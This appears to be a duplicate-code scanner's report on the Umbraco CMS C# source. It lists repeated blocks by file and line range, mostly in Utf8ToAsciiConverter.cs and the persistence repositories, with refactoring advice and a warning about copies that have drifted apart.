Duplicated block (15–18 lines × 3) src/Umbraco.Infrastructure/Persistence/Querying/ExpressionVisitorBase.cs:534— src/Umbraco.Infrastructure/Persistence/Querying/ExpressionVisitorBase.cs:534-551 | src/Umbraco.Infrastructure/Persistence/Querying/ExpressionVisitorBase.cs:571-585 | src/Umbraco.Infrastructure/Persistence/Querying/ExpressionVisitorBase.cs:593-607 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited.
Duplicated block (17 lines × 9) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:368— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:368-384 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:833-849 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:996-1012 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1110-1126 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1324-1340 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1486-1502 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1987-2003 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2085-2101 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2321-2337 — all 9 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (17 lines × 6) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:335— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:335-355 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:356-372 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:379-399 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:400-416 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1695-1711 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2096-2114 — all 6 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (16 lines × 13) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:607— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:607-622 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1699-1714 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2841-2862 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2867-2882 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2887-2902 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2907-2922 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2927-2942 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2947-2962 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2967-2982 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2987-3002 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3007-3022 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3027-3042 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3047-3062 — all 13 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (16 lines × 8) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3330— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3330-3364 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3367-3382 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3399-3414 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3417-3432 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3435-3450 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3453-3468 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3471-3486 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3521-3536 — all 8 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (14–16 lines × 3) src/Umbraco.Infrastructure/Persistence/Factories/ContentBaseFactory.cs:64— src/Umbraco.Infrastructure/Persistence/Factories/ContentBaseFactory.cs:64-79 | src/Umbraco.Infrastructure/Persistence/Factories/ContentBaseFactory.cs:117-130 | src/Umbraco.Infrastructure/Persistence/Factories/ContentBaseFactory.cs:382-396 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (13–15 lines × 2) src/Umbraco.Core/Services/FileServiceOperationBase.cs:229— src/Umbraco.Core/Services/FileServiceOperationBase.cs:229-243 | src/Umbraco.Core/Services/FileServiceOperationBase.cs:334-346 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/FileServiceOperationBase.cs:229` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (14 lines × 13) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:609— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:609-626 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:842-855 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2843-2866 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2869-2886 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2889-2906 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2909-2926 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2929-2946 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2949-2966 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2969-2986 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2989-3006 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3009-3026 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3029-3046 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3049-3066 — all 13 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (14 lines × 6) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3230— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3230-3247 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3292-3309 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3388-3401 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3480-3493 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3494-3507 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3542-3555 — all 6 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (14 lines × 3) src/Umbraco.Core/Services/UserService.cs:1517— src/Umbraco.Core/Services/UserService.cs:1517-1530 | src/Umbraco.Core/Services/UserService.cs:1566-1579 | src/Umbraco.Core/Services/UserService.cs:1608-1621 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/UserService.cs:1517` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (13–14 lines × 3) src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1788— src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1788-1801 | src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1908-1921 | src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1961-1973 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.PublishedCache.HybridCache/Persistence/DatabaseCacheRepository.cs:1788` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (13 lines × 21) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:372— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:372-384 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:614-626 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:837-849 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1000-1012 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1114-1126 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1328-1340 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1490-1502 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1991-2003 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2089-2101 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2325-2337 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2854-2866 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2874-2886 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2894-2906 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2914-2926 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2934-2946 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2954-2966 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2974-2986 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2994-3006 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3014-3026 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3034-3046 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3054-3066 — all 21 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (13 lines × 18) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:368— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:368-380 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:833-845 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:996-1008 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1110-1122 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1324-1336 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1486-1498 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1987-1999 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2085-2097 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2321-2333 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2599-2611 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2628-2640 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2657-2669 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2686-2698 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2715-2727 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2744-2756 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2773-2785 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2802-2814 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2831-2843 — all 18 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (13 lines × 13) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:372— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:372-385 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:614-627 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:810-839 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:843-856 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1000-1013 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1114-1127 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1328-1341 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1490-1503 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1797-1824 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1991-2004 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2089-2102 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2264-2276 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2325-2338 — all 13 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (8–13 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DataTypeUsageRepository.cs:32— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DataTypeUsageRepository.cs:32-44 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PropertyTypeUsageRepository.cs:29-36 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once.
Duplicated block (12 lines × 10) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1314— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1314-1328 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1335-1349 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1481-1495 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3234-3248 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3296-3310 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3391-3402 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3483-3494 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3497-3508 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3509-3520 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3545-3556 — all 10 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (11–12 lines × 3) src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:92— src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:92-102 | src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:195-206 | src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:317-328 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Querying/PocoToSqlExpressionVisitor.cs:92` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (11–12 lines × 2) src/Umbraco.Core/Services/EntityService.cs:659— src/Umbraco.Core/Services/EntityService.cs:659-669 | src/Umbraco.Core/Services/EntityService.cs:949-960 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/EntityService.cs:659` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (11 lines × 11) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:350— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:350-362 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:394-406 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:849-861 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1318-1330 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1334-1346 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1719-1731 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1997-2009 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2109-2121 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3500-3510 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3512-3522 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:3548-3558 — all 11 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (9–11 lines × 2) src/Umbraco.Core/Services/EntityXmlSerializer.cs:131— src/Umbraco.Core/Services/EntityXmlSerializer.cs:131-139 | src/Umbraco.Core/Services/EntityXmlSerializer.cs:780-790 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Services/EntityXmlSerializer.cs:131` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (10–11 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:1034— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:1034-1044 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/PublishableContentRepositoryBase.cs:1223-1232 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Note first that the copies are not typed on the same thing: the declarations holding them bind `entity` to `IMember` in one and `TEntity` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (8–10 lines × 2) src/Umbraco.Infrastructure/Security/BackOfficeUserStore.cs:800— src/Umbraco.Infrastructure/Security/BackOfficeUserStore.cs:800-809 | src/Umbraco.Infrastructure/Security/MemberUserStore.cs:844-851 — the copies sit in sibling files of one directory, so a shared home is within easy reach: extract the block into a single shared function the call sites can all reach — a file they already depend on, or a new one alongside them — and call it from both call sites, so a change lands once. Each matched range is the entire body of the declaration above it, so the region is already a complete unit: move that whole declaration to the shared location and have each site call it, rather than lifting the lines out of their bodies. Any `return` inside it is the body's own exit and keeps its meaning in the moved unit. Note first that the copies are not typed on the same thing: the declarations holding them bind `user` to `BackOfficeIdentityUser` in one and `MemberIdentityUser` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract.
Duplicated block (9 lines × 7) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:406— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:406-418 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1005-1013 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1119-1139 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1495-1503 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1816-1824 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2268-2276 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2330-2338 — all 7 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (9 lines × 3) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:408— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:408-416 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:438-446 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:530-538 — all 3 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/EntityRepository.cs:408` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (8 lines × 13) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:461— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:461-468 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:523-530 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:787-794 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:926-933 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1160-1167 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1224-1231 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1399-1406 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1778-1785 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1909-1916 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2264-2271 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2387-2394 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2489-2496 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2563-2570 — all 13 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (8 lines × 10) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:411— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:411-418 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:854-861 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1006-1013 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1120-1139 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1349-1356 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1724-1731 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1817-1824 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2114-2121 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2269-2276 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2331-2338 — all 10 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it.
Duplicated block (7–8 lines × 2) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:218— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:218-225 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:277-283 — both copies are in the same file, so extract the block into one function there and call it from each site — the copies drift apart the first time only one of them is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberRepository.cs:218` it does not close everything it opens, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that.
Duplicated block (7 lines × 8) src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:461— src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:461-467 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:926-932 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1124-1139 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1399-1405 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1778-1784 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1909-1915 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2264-2270 | src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:2387-2393 — all 8 copies are in the same file, so extract the block into one function there and call it from every one of those sites — resolving only two of them leaves the rest to drift apart the first time one is edited. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Core/Strings/Utf8ToAsciiConverter.cs:1124` it begins part-way through the construct above it, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. The matched lines also transfer control out of the body holding them, which cannot survive a move into a called unit unchanged: have the extracted unit return that decision and let each site act on it. Note that the copies do not run to the end of the range shown: their LAST lines are different code, not the same code under different names — the matched region ends inside that line. Extract the lines above it, and read the last line of each site separately.
Duplicated block (7 lines × 4) src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:320— src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:320-326 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/DataTypeRepository.cs:477-483 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaTypeRepository.cs:137-143 | src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MemberTypeRepository.cs:200-206 — before extracting anything, compare `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaTypeRepository.cs` as WHOLE FILES: this scan already matched 4 separate duplicated blocks between them, totalling at least 32 lines, which is the signature of one file having been copied from the other rather than of a helper waiting to be extracted. If that is what happened, the fix is to keep one copy and have the other call it (or delete it), which resolves this row and its siblings together — extracting one helper per block leaves the fork in place. Read the line range as the matched WINDOW rather than a finished unit: at `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:320` it runs out through the closing brace of the declaration holding it — the window is that declaration's tail, not a fragment that begins part-way through something, so those exact lines cannot be lifted as they stand — widen the region to the smallest complete statement or declaration that contains it, and extract that. Note first that the copies are not typed on the same thing: the declarations holding them bind `entity` to `IContentType` in one and `IDataType` in another, and the duplicated lines use it. The extracted unit therefore needs a parameter type that fits BOTH — their common supertype where they have one, or a new abstraction over them where they do not — and settling that is the step that comes BEFORE the extraction above. Where the two types are deliberately unrelated, the duplication is the price of that separation and the honest resolution is to record the decision rather than to extract. ★ These copies have DRIFTED, and that is worth reading before extracting anything: just after the matched lines, `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/ContentTypeRepository.cs:329` calls `PersistTemplates`, `PersistHistoryCleanup` and `src/Umbraco.Infrastructure/Persistence/Repositories/Implement/MediaTypeRepository.cs:147` does not — after which the two agree again for 2 more lines. One of those two behaviours is the intended one and the other is what a copy-paste left behind, so decide which BEFORE unifying them: extracting the shared part will silently settle it, and if the copy that skips the call is the wrong one, that bug is already live.
